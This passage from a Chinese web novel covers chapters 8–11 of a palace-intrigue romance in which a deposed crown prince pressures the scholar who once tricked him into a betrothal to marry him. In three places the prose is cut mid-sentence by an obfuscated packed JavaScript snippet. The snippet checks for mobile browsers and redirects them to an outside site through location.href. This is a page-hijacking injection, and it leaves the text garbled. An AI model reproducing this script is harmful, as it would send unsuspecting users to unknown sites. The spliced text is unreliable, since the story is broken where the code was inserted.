肤色苍白、面容清俊的年轻男子每日除却吃饭睡觉,便是坐在这副残局前望着它或崖外的远方发呆。他如此一坐就能坐一天,从日出到日暮。 崖边风很大,男子的身体单薄,衣衫却是宽袍大袖,被风呼呼吹起,飘然若仙,似乎下一刻就要随着云雾而去。 偶尔他会咳嗽起来,大约是被风吹得。他一旦咳嗽便许久才停,身体微微佝偻,低着头,肩头不住颤抖,显得十分羸弱,令人忍不住心生怜惜。 顾望笙:“……” 傻子吗?!都这样了还吹风!若被风吹卷下山去就老实了!吹出头疼脑热就老实了! 顾望笙已经在暗中观察这人——这骗子谢善淩三天了。 当谢善淩又一次咳嗽许久,好不容易停下来,顾望笙忍不住了,冷冷出声:“红棋七车进五,黑棋必定应士而动,接着红棋马三进五,与红车形成掎角之势,黑将再无可逃之处。” 谢善淩一怔,循声望去,只见一个青年男子朝自己大步走来。男子身穿黑色劲装,腰细腿长,相貌颇为英俊。他神情漠然高傲,似乎目下无尘,眉眼间却又隐约透着股凛然的杀意。 ……有一些眼熟。 谢善淩探究地问:“阁下是?” 顾望笙已走到他面前,闻言应道:“顾望笙。” 谢善淩乍听见此名,耳熟又陌生,随即恍然想起,眼睛睁大,猛然站起身来失声道:“顾望笙?!你……你是……” 顾望笙冷笑道:“对,就是被你骗婚欺骗十年之久的那个顾望笙。” 谢善淩:“……” 8. 第 8 章 顾望笙冷酷地盯着谢善淩。之前三天站太远了,看得没这么清楚。 谢善淩被他灼灼的目光盯得回过神来,忽然笑了起来。 这三天里,顾望笙第一次见他笑,明明之前都是一副颓然又冷漠的样子,笑起来时仿佛变了一个人,眉眼弯弯,满是暖意。 “太好了!你没事!”谢善淩只觉心中压了多年的那块石头终于消散,欣喜地上下打量顾望笙,确定他好胳膊好腿儿,长舒一口气。 “那日之后,你忽然失踪……” 谢善淩说着话时,顾望笙绕过他走到桌前,伸手拿起棋子,自顾自照着自己刚刚所说的步法下完了这盘残局。 谢善淩的视线与身体随着他转动,温声问候:“这些年你过得怎样?” 顾望笙抬眼看这个假惺惺的骗子,冷淡道:“很差。” 谢善淩笑容消散,叹了声气:“当年你为何忽然失踪?我事后想方设法打听,却完全没有消息。” 他无法确定是宫里下的手,还是顾望笙受打击太大夜里跑出去出了意外,或者主动跑了。若是后者,他自然难辞其咎。 这些年顾望笙的生死下落一直是谢善淩的心结。 “呵!虚伪。”顾望笙毫不留情地说。 谢善淩:“……” 顾望笙定定地看着他,问:“我若说是因被你骗婚一事大受打击,因而失足落崖,你会因此对我愧疚难当吗?” 谢善淩正色道:“那是自然。当年虽非我本意,可确实是家人救我心切,因而伤害了你,我真心对你愧疚难当。” 就在谢善淩以为顾望笙要继续声讨自己的时候,他只是在石凳上坐下,将棋子摆放到棋盘尚未开始的模样,然后扬手示意自己坐到对面。 谢善淩见他此举似是要与自己对弈,便照做。 两人不言不语地在崖边吹着风拼杀三局,全是谢善淩赢。 顾望笙:“……。” 要不怎么说是骗子呢,表面上清纯无辜文弱书生,棋风却极为生猛,杀意满满,速战速决,丝毫不留情面。 嘴上说愧疚难当,恐怕心里想我怎么没死吧!顾望笙咬牙暗恨。 顾望笙的棋力不差,谢善淩棋兴被他勾了起来,三局下完,主动摆好第四局,笑着做了个手势示意他此局先行。 行什么行!顾望笙用质疑的眼神看他,问:“你既比我善弈,怎么那个残局迟迟不能解开?” “啊?”谢善淩反应过来他的意思,忍俊不禁,道,“那个残局我早已解开,只是在想其他解法,以及,若我是黑棋往回倒推,如何能反败为胜,那时红棋又该如何对应。” “……无聊。”多少有几分恼羞成怒。 谢善淩笑笑,没说什么,见顾望笙不想再下的样子,带着几分遗憾低头将棋子收进匣中整齐垒好。 收好棋子,谢善淩抬头看向对面,问:“你可是特意前来找我?我对你有愧,若有能效力之处,定然竭尽全力。” 顾望笙开门见山:“那和我成亲。” 谢善淩嘴角温柔和善的笑容还没来得及散去,脸上出现了一瞬间的空白。 顾望笙不悦地嘲讽:“你说话可真是张口就来,刚还说对我有愧,定然竭尽全力,我都没叫你去赴汤蹈火,你却这副模样!” 谢善淩轻咳一声,恳切地道:“你不如叫我去赴汤蹈火,我定在所不辞。” 顾望笙顿时怒目而视,提高音量:“你这意思就是宁死也不想履行婚约?!” 谢善淩干笑:“我是男子啊太子殿下。” “你是骗子!”前太子殿下怒道。 谢善淩讪讪地拉了拉衣袖,老实巴交地将手拢在袖中躲风。原本没觉得这么冷,听了前太子殿下这几句话,实在是寒意彻骨,叫人坐立不安。 顾望笙见他局促,咄咄逼人:“谢善淩,你幼时假扮女子骗我婚约与我母后的玉佩……” 谢善淩低声插嘴:“玉佩还给你了……” 顾望笙当做没听见,继续道:“后来为骗我解除婚约,说你是男子不可与男子成亲,那么为何你后来与豲戎的三王子将灵私奔?” 此言一出,他清清楚楚地看见谢善淩表情一顿,眼中闪过极为复杂晦暗的神色,旋即似乎变了一个人,不再对自己露出因愧疚而讨好的模样,脸色淡淡地起身,抱起棋匣朝屋子走去。 顾望笙忙也起身,追上去问:“为何你又回来了,而将灵自那之后下落不明?我知道当时是顾裕泽前去追你回来的,难道是顾裕泽杀了将灵?” 谢善淩并不理会他,仍旧朝屋里走。 顾望笙大跨几步拦在他的前方,直直看着他道:“亦或是,你杀了将灵。” 谢善淩神色似乎并无变化,可顾望笙觉得自己猜对了。 “我说对了。”顾望笙道,“你与将灵私奔是为了诓杀他。” 谢善淩冷淡问道:“你究竟想说什么?” 顾望笙却没有继续追说将灵之事,话锋一转,用只有两人能听见的声音笃定地说:“你是临江仙。” 他说这些话的时候,除却眨眼,视线一直牢牢地锁定着谢善淩的脸。 谢善淩微微皱眉:“临江仙?是谁?” 顾望笙嗤笑出声:“别装了。你当初连中三元入顺天府任通判,不久升任府丞,期间颇为热忱,屡屡得罪权贵为百姓伸张正义,百姓称你为谢青天。可惜后来出了一件事,你便心灰意冷辞官了。” 谢善淩垂眸望着怀中的木匣,神情冷然。顾望笙心中一动,不自在地移开了目光,这才继续说下去。 “潘将军的独子潘成栋领几个狐朋狗友与京郊一妇人长期通奸行荒淫之事,被其丈夫无意中撞破,讨要说法,那几恶徒恼羞成怒,将男人暴打成伤后扬长而去。男子要休妻,妇人羞愧悬梁自尽,却留下了遗书陈明来龙去脉,原是潘成栋以她全家人的性命逼迫为之。” “她丈夫一时义愤,告到你的面前,你三次传唤潘成栋他不应,你亲自带人将他抓去堂前对质,且人证物证俱在,证据确凿,潘成栋辩无可辩,不得不承认此事。你顺藤摸瓜,更是查出了他竟不是第一次做出此等荒淫霸道之事,也不是第一次逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那人说,当时牢外挤满了看热闹的民众,羽林军撞门之时百姓为之呐喊鼓劲,热血沸腾。甚至还有人提议放火将谢善淩逼出,或是索性借机将这叛国贼烧死算了。 这样的声响,不知当时守在牢狱里的谢善淩听到了没有。 没听到也无妨,当谢善淩仅着中衣走出来后,围观百姓见他狼狈甚是快意,叱骂声如同潮水波浪一息不停地朝谢善淩奔波袭去。混乱之中,不知是谁第一个朝谢善淩扔去了一颗石子,虽未打中,却激发了众人血气,纷纷效仿。 谢善淩原本踽踽而行,渐渐停下了脚步,转过身子看着那些人。众人一怔,本能地有些讪讪起来,一时没再扔。 相互看着,街上在这瞬间静得针落可闻。 谢善淩的眼中没有仇恨,也无恼怒,有的竟是如同孩童一般的迷茫不解,又有着神明一般的悲悯。他好像无法理解为何会如此,又好像只是哀伤。 有些人开始躲避他的眼神,不敢再看,甚至想离开。可是很快又有人叫喊起来,说谢善淩是在得意,在挑衅,分明是自仗身份知道不会得到惩处。 鼓动下,群情再度激奋起来。这次更加勇猛,差点冲破路旁兵卒的防守,要冲上去亲手将谢善淩这个十恶不赦之徒打成肉泥,原本一事无成籍籍无名的人生就能因这一次的豪情壮举而流芳万世啦! 好在四皇子连夜从边关赶回,挥鞭吓退众人,将谢善淩拉上马护着离去,谢善淩这才幸免于难,但是在那之后重病一场,大夫说只是郁结于心,却日日咳血,屡次告危,约莫半年才能再度下地。 9. 第 9 章 顾望笙的目光回到谢善淩清瘦的脸上,满是他自己都未曾意识到的温柔与怜惜。 “这与临江仙之事太像了。虽你与我们通信时刻意改变了笔迹,可行事作风未变。你嫉恶如仇,眼中不容沙砾,因此你对朝廷失望,后来又对我们失望。” 谢善淩并不看他,只是淡声道:“你想多了。我不知道什么临江仙。” 顾望笙不与他争辩,只道:“与我成亲,和承认你是临江仙、继续与我们合作,你二选一。” 谢善淩这才终于看他,很认真地问:“你疯了吗?在说什么胡话?” 顾望笙也很认真:“信中已向你解释过,我再说一遍,不杀王尨是因他在军中颇有威信,若当时为那事处死他,军心动摇,不是好事。我尊重你对道义律法的坚持和追求,可不能不顾实际,那与纸上谈兵何异?更何况王尨如今已经死了。两个月前的一场突围之中,他主动请缨做必死先锋。临行前他再三忏悔,望死在战场上能以身赎罪。” 谢善淩语气冷漠:“不知道你在说什么,不过王尨这个名字我听过,是南边匪乱的一个头目。”他眼睛微微眯起,“太子殿下,你和南方匪乱有什么关系?可知此事我向圣上禀告的话……” 顾望笙才不信他威胁:“我赌你不会去说。” 谢善淩一顿,道:“也是。我如今已是半个修道之人,下定决心不问俗世,那些都与我无关。” 顾望笙笑了一声,旋即道:“道在于救世。你若真心修道,眼下民不聊生,你就该与我一同襄举大事。” 谢善淩忽的长吁一口气,转过身去眺望着远方缭绕的缥缈云雾。顾望笙急忙走到他身旁,侧过脸看着他的神色。 “救世?我救不了世,也没人能救得了世。”谢善淩眉眼疏淡,似是无情之极,可顾望笙却觉得事实不是这样的。 顾望笙的语气柔和下来,道:“你并非无情之人,只是因那些挫折而灰心绝望,一时气馁……” 他的话未说完便被谢善淩打断:“我不是一时气馁,只是读遍史书发现了一个道理。荣辱兴衰,时代更迭,看似变幻无穷,实则从未有过改变。前有之事后必再有,前行之事后必再行。人性如此,人心如此,即便是一万年后,我想也依旧如此。人之蠢毒,只有至最后一人于世间消失那刻才会真正消失。” 谢善淩转头对上顾望笙的眼睛,微笑道:“当我意识到这件事后,便觉得什么都没有意义。” 他语气平静之极,“所以我不想再入俗世管什么是非,我管不了,改不了,也原本就轮不到我管我改。我有什么资格?各人有各人的命,别人的命与我何干?当初我年轻浮躁,不懂这个理,因而遭了大难,险些祸连家人,成为真正不孝不义之徒。如今我明白了,自然不会再犯。” 顾望笙沉默一阵,道:“我认为你只是无法承受失败而已。” 谢善淩:“……” “你生来万千宠爱,又有才学,恃才傲物,自以为是,不能接受失败,失败便想逃避,还扯出史书和一通鬼话来粉饰自己的软弱。”顾望笙道,“不是只有你读遍史书,我也读了史书,固然有你说的那样,可又哪里是人人如此代代如此?你分明就是以偏概全,偏激之言,不值得取。” 谢善淩欲言又止,最终摆摆手:“你想怎么说就怎么说吧,总之都与我无关。” “不会与你无关。”顾望笙道,“我此行就是为了请你继续帮助义军。” “都说了我不是你说的那个人。”谢善淩道,“而且退一万步说,那人并无责任必须帮你们,你怎能在此耍无赖?当然,这与我无关,我不是他。” 顾望笙问:“刘备三顾茅庐请诸葛孔明,也是耍无赖不成?” 谢善淩暗暗用“何等厚颜啊你”的眼神看他,问:“你自诩刘备?” 顾望笙当真厚颜,道:“也诩得。” “……” 谢善淩没有和他多说的兴趣,扭头就走。 顾望笙却死缠烂打地又跟上来,被谢善淩关上门阻挡在外后,他就站在门口喊:“那你就嫁给我!谢善淩!” 谢善淩本不欲回应,不料顾望笙此人邪性得很,见状在外撒起泼来:“好你谢善淩,男扮女装骗我定亲救你一命,却在我失踪后就取消婚约,何等忘恩负义之行径!我被你害得有了龙阳之好,再娶不得女子,你若不嫁我,天不能容你!” “……” 谢善淩用力攥紧拳头,忍住冲出去揍他的冲动! 这还有什么不明白的?娶亲是假,根本就只是看出自己绝不肯嫁,因而拿此事来胁迫自己承认临江仙的身份并且继续为他们出谋划策。 可我若两样都不选,顾望笙又能如何?谢善淩正这样想着,突的听到顾望笙道:“你若不仁,我便不义。如此,我要将此事公告天下,让所有人都知道谢老太师所作所为!那份婚约是他保媒,消息一出,世人谁不会说他荒谬?我就让他临老清誉不保——” 吱呀几声,门被谢善淩从里拉开了。他面色愠怒,瞪着顾望笙斥责道:“你不要太过分!” 顾望笙一副无赖的模样,道:“我就过分怎么了?何况我能过分过你们家么?有本事从一开始就别骗我亲,既然骗了,就是你们家该我的欠我的。” 谢善淩被他气得心口疼。当年那个月下腼腆多情的少年,怎么会……怎么会变成了这个无赖?! 可是对方所说之言,又着实是有几分道理。 顾望笙此时凑近他,压低声音道:“要么就让临江仙重现江湖。昏君无道,奸佞横行,百姓受难,谢善淩,你分明也是曾有一番振奋天下的雄心壮志,为何如此怯懦,不过遭受几番挫折打击便一蹶不振,寄情于虚无缥缈之中?不觉羞愧吗?” 谢善淩咬牙切齿:“你如此莫名其妙死缠烂打你都不羞愧,我有什么好羞愧?都说了我不是那个人。” 顾望笙见他死鸭子嘴硬,冷笑道:“你不妨嘴硬到底。总之你就做个选择,是选那个,还是选履行婚约嫁给我,否则我便让你爷爷一把年纪了还要被世人议论他背信弃义,就连你满府其他人,你大伯二伯,一并婶姨姑姑……他们似乎都对你母子二人极好,你忍心他们的清誉都因你——” “住口!”谢善淩攥了攥拳头,深呼吸一口气,道,“好,我履行婚约。” 顾望笙却一怔。 谢善淩看他神态微妙,忍不住给了他一记白眼。 “……你宁愿嫁给我,也不肯承认自己是临江仙?”顾望笙算盘落空,脸颊有些扭曲,吓唬他道,“我告诉你,娶亲可不是过家家,我娶了你,就得洞房,你知道洞房要干什么吗?而且我不是雌伏那方!” 谢善淩今日被他数次激怒,此刻亦装不□□面了,直视着他冷冷道:“我曾与男人私奔,你说我知不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725274|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子与男子之间洞房是做什么?” 顾望笙原本是要吓唬他,此刻却自己先破了防备,瞪眼道:“你和将灵——你俩——你不是为了诓杀他吗?还真洞房了啊?!” 声音都有些破了。 谢善淩见他如此在意,略微泄了点愤意,故意道:“舍不着孩子套不着狼,我若不下本钱,将灵又不是傻子,他能真入套?” “……”顾望笙咬紧牙关道,“谢善淩!你竟敢!!你十八岁满了才跟我解除婚约,你跟将灵私奔是十七岁!” 谢善淩刚刚忘了这茬,此时一噎,说不出话来。 顾望笙见他不说话,显然是心虚,越发怒火中烧:“谢善淩你——你这水性杨花的混账!” 事已至此,谢善淩只好硬着头皮认下,道:“那你趁早别跟水性杨花的混账纠缠,当心头上的绿帽子戴都戴不完。” “你——”顾望笙大口地反复呼吸,许久才勉强镇定下来,咬着牙嗤笑道,“别以为这样就能劝退我。” 谢善淩:“……” 顾望笙报复回去,故意道:“我原本还想着怜你天真,到时成了亲也可以先不洞房,如今看来不需要了。洞房那日我定将你做到天明,让你忘了将灵是什么滋味,只记得我的滋味。” 谢善淩:“……” 顾望笙细细打量他的神色,继续激道:“怎么?怕了?我可告诉你,你别以为我是什么好相与的人。我流落民间十二年,什么脏的臭的都见识过,那将灵不见得有我花样多!” “你住口!”谢善淩忍无可忍,骂道,“你是土匪吗?!” “土匪?”顾望笙大笑,“土匪都算好的,老子龟公都当过!” 谢善淩:“……” 顾望笙话赶话说完那话,自己也觉过于恶心,嘴角微微一抽。 可开弓没有回头箭,他只能硬着头皮继续粗声粗气地吹:“那些年里我只明白了一个道理,就是为达目的可以不择手段。为了活下去,给恶霸充当打手逼良为娼的事儿我也没少干,你别指望跟我讲道理,我可不跟你讲道理。” 谢善淩深深呼吸,欲言又止,最终只是面无表情地骂道:“无耻,下流!” 骂完他就转身进屋。 顾望笙在他身后冷笑:“快点收拾好出来,跟你无耻下流的夫君回府去预备成亲,夫君等不及洞房了。” 谢善淩恼羞叱喝:“你住嘴!清修之地你不要口出如此狂悖之言!” “那你就快着点儿吧,不然我还有更多更狂悖的话等着呢。”顾望笙彻底破罐子破摔,胡言乱语道,“我跟你可不一样,我二十五了还未碰过别人,为你守身如玉,憋得可受不了了,平日里话本子却看得不少,也就只能过过嘴瘾……” “你住口!我马上就收拾完了!”谢善淩叫道。 顾望笙这才收声,靠在门口墙上,双手抱胸,吊儿郎当地眺望远方日落。 总之先缠上谢善淩,届时软硬兼施,动之以情晓之以理,天长日久不怕谢善淩不动摇。 何况,谢家虽如今不大得用,却到底谢二伯在兵部任职侍郎,低调不惹人注目与防备,却又时常能接触到重要情报,无疑是一个很好的口子。即便谢善淩这边没有进展,自己也可以暂且搁置,改而从谢二伯入手套取许多有用的东西。 如此盘算着,顾望笙的眼色渐渐深沉起来,不复刚刚惬意模样。 10.第 10 章 谢家人当时说只要顾望笙能接回谢善淩就成亲,实则抱有侥幸心理,以为谢善淩会拒绝…… 这孩子看着谦和斯文,实则是头倔牛,果真不愿做的事便是八鞭子也抽不出他个“好”字来,正如当初潘成栋一案。 而若谢善淩拒绝,顾望笙总不可能对谢善淩动手。如此一来,岂不完美? 却不料,谢善淩居然跟顾望笙回来了!还亲口说同意履行婚约! 谢善淩被娘拉去房中细细盘问。谢善淩不想她担忧,咬死自愿,说当年既定下了便该诚心履行。 他娘虽然心中不愿,可也觉得儿子所说有理,又见他意已决,她索性不再多言,随他。 再者说,反正儿子在婚嫁一事上早已经没有希望……不愿娶是一方面,更重要的是也没人愿意嫁……与其孤独终老,废太子就废太子吧,多少有个人照应…… 顾望笙做戏做全套,生怕被谢善淩看出自己是纸糊的老虎吓唬他,积极进宫向皇帝禀告自己去谢府说亲事、追到山上将谢善淩接下了山的大好消息。 皇帝看着顾望笙喜气洋洋要娶媳妇了的模样:“哦哦……” 还真是个就惦记着这种事儿的没出息的傻子啊! 顾望笙话锋一转,搓着手支支吾吾地试探皇帝能否为自己准备聘礼,毕竟自己一穷二白,唯恐委屈了娇生惯养的谢善淩。 谢善淩也配?皇帝很是不喜谢善淩,但终究没将这话说出口,只道:“这是自然。这些年你受了委屈,你的婚事朕会叮嘱贵妃好好操办,聘礼比照着原本的太子妃规格略逊些,比其他皇子妃却高出去。” 顾望笙急忙应下,又搓着手打听自己母亲当年留下的东西。 皇帝见他这穷酸样子很是嫌弃,可漂亮话已经说了,只能继续大方:“你母后就你这一个孩子,她的东西自然都是你的。朕会一并告诉贵妃,让她好好清点。” 如此一来,义军的粮草又有着落了。顾望笙心中窃喜,急忙跪下道谢。 * 这些年菅贵妃管理后宫没少中饱私囊,皇后的财物封在坤宁宫中无人守护,她要偷挪轻而易举。可如今皇帝口谕前脚刚来,顾望笙立刻就递送了皇后的财物单子拓件。意思很明确,要清算干净。 菅贵妃大发雷霆:“只道他死了,谁料不仅没死,还如此精明!当真这些年只是个猎户吗?!” 司马忠良道:“早说了必定有诈,娘娘偏要说我多心。” 菅贵妃横眉看向他:“可东厂派去的人不都说查来查去分毫不差,没有一点破绽吗?” “正是没有一丝破绽,反倒是破绽。”司马忠良望着她道,“皇上若要查你我的过往身世,不也会分毫不差没有一丝破绽吗?” “……倒也是。”菅贵妃跟着叹息。 两人相对沉默一阵,见菅贵妃有服软悔恨之意,司马忠良旧话重提:“我那日便说娘娘不该助他婚事。原本一些人就认定他得位正,谢太师又是清流魁首,若结亲岂不让顾望笙更得人心?如今他根基不稳,推搪不要太子之位,来日站稳脚跟略一造势,这位子不就是他囊中之物?” 菅贵妃辩解:“可他娶了男妻啊!” 司马忠良嫌她蠢笨却又不好表现,只是教训道:“古往今来篡改的史书少吗?将男人改成女人女人换成男人很难吗?” 菅贵妃陷入无言,半晌讪道:“我一介女流之辈,哪想得到世上竟还会有此等颠倒黑白的无耻之事……” 刚刚进屋的顾裕骐:“……” 司马忠良恭敬道:“二皇子殿下。” 菅贵妃的神色却冷淡下来,甚至还对司马忠良如此殷勤有所不满,略略嗔怪地看了他一眼,一眼都懒得看顾裕骐。即便顾裕骐与三皇子一样是她的亲生骨肉。 她向来偏疼三皇子顾裕珩。 顾裕骐只比顾望笙晚一个月不到出生,今年亦是二十五,也尚未成亲。他五官酷似生母,肤白貌美,如同精雕玉琢的一般,却气质阴郁,因此一眼看去与艳丽张扬的菅贵妃并不相像。 顾裕骐冲司马忠良颔首唤道:“仲父。”脚下无声地来到菅贵妃面前,向她跪下叩头,“母亲。” 菅贵妃这才垂眸看他,冷淡中带着许多嫌弃。背后冷不防被司马忠良轻推了一下,这才反应过来,生硬地说:“起来吧。” 顾裕骐起身后,菅贵妃眼睛看向别处,问:“怎么今日才回?” 回答的声音清冷:“接到仲父传书,儿臣便立刻折返,只是途中遇到了流民为祸……” 菅贵妃不耐烦听他多说话,打断道:“废太子回来了,你知道了吧?” 顾裕骐点头:“仲父在信中说了。” 外头忽有小太监传话,司马忠良转身出去,屋内母子二人继续说话。 “废太子……那个顾望笙,他要和谢善淩成亲了。”菅贵妃道,“可他不能和谢善淩成亲。” 她将刚刚司马忠良的分析当成自己的话说了一遍。顾裕骐听完没有说话。 菅贵妃等了等,不悦地瞥他一眼,正要斥责,目光一定,问:“你头上怎么回事?” 顾裕骐额头上绑有白色的伤带,隐隐有血迹渗出。 顾裕骐淡淡道:“为了尽早赶回,选了有流民为祸的路,不小心伤到了。” “区区流民也能伤到你……”菅贵妃蹙眉斥道,“你如此无能,将来如何辅佐你弟弟?倒还要他做弟弟的来保护你不成?” 母亲的偏心顾裕骐早已习惯,闻言他只是平静地跪下谢罪:“是儿臣无能,母妃不要生气。” “回回气着我了又来装孝顺。”菅贵妃冷嗤,“成天拉着张脸,好像谁欠你似的。这屋里没人欠你,你弟弟更是如此!反倒是你!当初我与那贱人斗得正狠,你非但不争气,怎么都不肯出来,硬生生比顾望笙晚了一个月,让我失了皇长子生母的名分,还是个天阉的畸形儿!” 如今说起这事,菅贵妃依旧后怕又愤恨,光骂还不解气,起身使劲一脚将顾裕骐踹翻在地,道:“好在那贱人死了,否则你定能害得我永世不得翻身!” 顾裕骐默默地爬起来跪回原处,低着头不说话。发髻因刚刚而有所松动,几缕发丝散乱垂在脸侧。 菅贵妃继续道:“当时你父皇便要摔死你这不祥的怪物,是我不顾产后虚弱跪在地上苦苦求他,他才饶你一命。他厌弃你,因你而厌弃我,若非你弟弟的出生,我与你,呵,早不知死哪儿去了!你这条命是我保下来的,更是你弟弟保下来的,你这辈子都亏欠你弟弟一条命,记牢了!” 顾裕骐轻声道:“自儿臣记事起,母妃常常提起,儿臣铭记于心,此生誓死效忠珩弟,辅佐他登上皇位,绝不敢有半点二心。” 菅贵妃这才满意地“哼”了一声,坐回贵妃椅上大口喘气。 司马忠良返回来,见着这一幕习以为常,走过去为菅贵妃顺气。 菅贵妃喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730660|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他亲近,当即心神一荡,娇媚地朝他使了个眼色,软着嗓子嗔道:“他还在呢。” 司马忠良笑笑,说:“骐儿又不是外人。” 菅贵妃轻叹一声,闭上眼不再说话。 司马忠良视线幽幽瞟向地上的顾裕骐,意味深长地看了好一阵才笑道:“阻止顾望笙成亲一事迫在眉睫,何况我总觉得这些年不会像他说的那样简单,这些都还要骐儿去办。娘娘今儿累着了,早些歇息,我与骐儿先下去说那些琐事。” 菅贵妃虽不舍却只能摆摆手:“去吧。” 离开贵妃宫中,司马忠良关切道:“殿下额头上的伤得请太医看看,重新包扎。” 话说得恭敬,动作却无礼,擅自伸出手去抚摸顾裕骐的额头。 在他手碰到的前一瞬,顾裕骐后退一小步,眼中郁色越发浓厚:“多谢。” 司马忠良并不露出恼色,见状依旧笑着。 * 原本谢善淩想起要成亲了这事儿就烦,夜里辗转反侧,快到鸡鸣才入睡,想着好在没人会催自己早起。家人们如今巴不得自己成天吃了睡睡了吃,省得惹事或想事…… 却不料,远还不到日上三竿,还很早着,府里的小厮就进屋来叫:“少爷,少爷,起了。” 少爷皱着眉头闭着眼说:“别叫我,我刚睡……” “有事,少爷。”小厮说。 谢善淩这才勉强睁开眼睛看他,问:“什么事?” 小厮道:“姑爷……呃,咳咳,大皇子殿下来了,正在前厅喝茶。” 谢善淩一下子瞌睡全醒,暗暗咬牙:“他来干什么?” 小厮道:“说是皇上赐下了府邸作为新房,带您去一起看看,有要添置的也都您拿主意,都看您喜欢。” 这姑爷倒真是对小少爷不错!小厮心中已同意这门亲事! “……”谢善淩沉默片刻,翻了个身背对着小厮,道,“你去跟他说,我身体不舒服,可能被他克着了,他自己去张罗吧。” 小厮等了等,见少爷再没动作言语,只好转身就要出去传话,可走到门口却被叫住了:“等等!” 小厮回头,见少爷已经坐了起身。 “别!”谢善淩刚刚回过味来,察觉自己那话说得不妥,急忙道,“千万别说是被他克着了,只说我昨夜自己着了凉就好,切记。” 刚刚他睡迷糊了,又顾着赌气,竟忘了顾望笙克死皇后的流言。他自然不信这混账话,可这话必定伤顾望笙至深,即便自己与顾望笙这无赖闹气,也不能踩人这样的痛处。 小厮不知缘由,只是点头称是。 这小厮是家生子,人老实,但脑子实在不好使,谢善淩怕他说漏嘴,再三叮嘱,小厮一一应下,谢善淩却还是不能放心,最终长叹一声,掀开被褥道:“算了,我去吧,你干你的活儿去。” 小厮:“少爷你不是身体不舒服吗?” “没有不舒服,刚刚骗你的。”谢善淩庆幸暗道:还好没让你去回话,十有八九说漏嘴。 “为什么要骗我?”小厮不解地问,“难道少爷就是不想和姑爷出去吗?” “……”谢善淩看着他,他看着谢善淩。 片刻后,谢善淩温声道:“没事儿了,你玩儿去吧。” “可不敢玩儿,少爷就要大婚,好多事儿忙,二爷说谁敢松懈就打谁。”小厮满脸恳切地说。 “……去吧。”谢善淩说。 11.第 11 章 谢善淩来到前厅,顾望笙正坐在客位在与闻讯先来一步的谢善淩他娘相谈甚欢。 余光瞥见,顾望笙转头一看,急忙起身迎上去,柔声蜜意地唤道:“淩儿!” 淩儿顿时起了一阵鸡皮疙瘩,嘴角一抽,咬紧牙关挤出一个微笑来:“大皇子殿下。” “一个月后便要成亲了,这里又只有岳母,无需叫得这么生疏。”顾望笙深情道,“叫我裕帧也好,望笙也好。” 真想叫你土匪。谢善淩皮笑肉不笑道:“一个月也还是一个月……”声音压低,用母亲听不到的音量道,“一个月能发生什么事未可知呢!” 顾望笙冲他微微一笑,下一瞬便转身高声道:“岳母大人为我做主,淩儿他说——” 话未说完,谢善淩火速推他一把制止:“我什么都没说!” 顾望笙略一停顿,又张开嘴。这回不等他发出声音,谢善淩喝止道:“顾望笙!” 顾望笙露齿一笑,谢善淩看出他的得意洋洋,气得牙痒痒,可又一时拿他没办法……若由他去母亲面前嚷嚷,她少不了又要操心。 别说母亲,便是谢府其他亲人,若知道自己是为了阻止顾望笙到处瞎嚷嚷毁坏谢府名声而嫁,必然会坚定否决。 这家伙无非是看中了这一点! 佘郡主看着两人打闹,视线落在儿子脸上,微微一怔。 自那事后,儿子一直要死不活的恹恹模样,已经许久未曾这样子鲜活过了。 确切来说,没发生那事前,儿子其实也不曾如此。他自幼早慧,虽偶做些惊人之举,平素与人来往总是稳重端庄的,却不知怎么,遇上顾望笙竟似性情都变了。 如今两人看着像在吵闹什么,却又分明透着股与众不同的亲昵劲儿。明明相处的时日极少才是……莫非真是缘分使然? 曾经谢善淩与男子纠葛不断,她很是反感。身为人母,何况儿子是亡夫与自己唯一的血脉结晶,自然希望他能与女子开枝散叶。可后来发生了那些事,儿子在鬼门关徘徊的那半年,她什么都想开了。只要他好好的,再往后的事她也看不到,也不必去管。 她的视线又移到废太子……大皇子的身上。 其实这也并非良配。他身份到底微妙,恐怕少不了纷争。哪怕他无心夺嫡,却难保不会身不由己。 可是,唉,都是债。当年借人家婚约躲难,如今两个孩子又自己乐意,自个儿这当娘的又怎能棒打鸳鸯呢。 罢了罢了,总之谢善淩也不是个省油的灯,不定谁给谁找麻烦呢。佘郡主自暴自弃地如此想着,见两个孩子没吵了,笑着道:“善淩,殿下待你宽和,你却不可恃宠生娇对殿下无礼。” “我……”谢善淩欲言又止,硬生生吞下满口想说的话,闷声应了下。 佘郡主见儿子这小模样,越发开怀,朝顾望笙道:“善淩这孩子自幼被府里人宠坏了,偶有骄纵任性之时,殿下勿要与他一般见识。” 顾望笙一脸正经道:“岳母休说这话,我自知身世复杂,淩儿还愿嫁给我,你们也同意,我实感念!日后必定对淩儿千般好万般好。他若愿对我骄纵,我反而高兴。” 谁家父母不爱听这话呢?直把佘郡主哄得喜笑颜开,嘴都合不拢。 唯独谢善淩是哑巴吃黄连有苦说不出,只能站在一旁眼观鼻鼻观心假装自己什么都没听到。 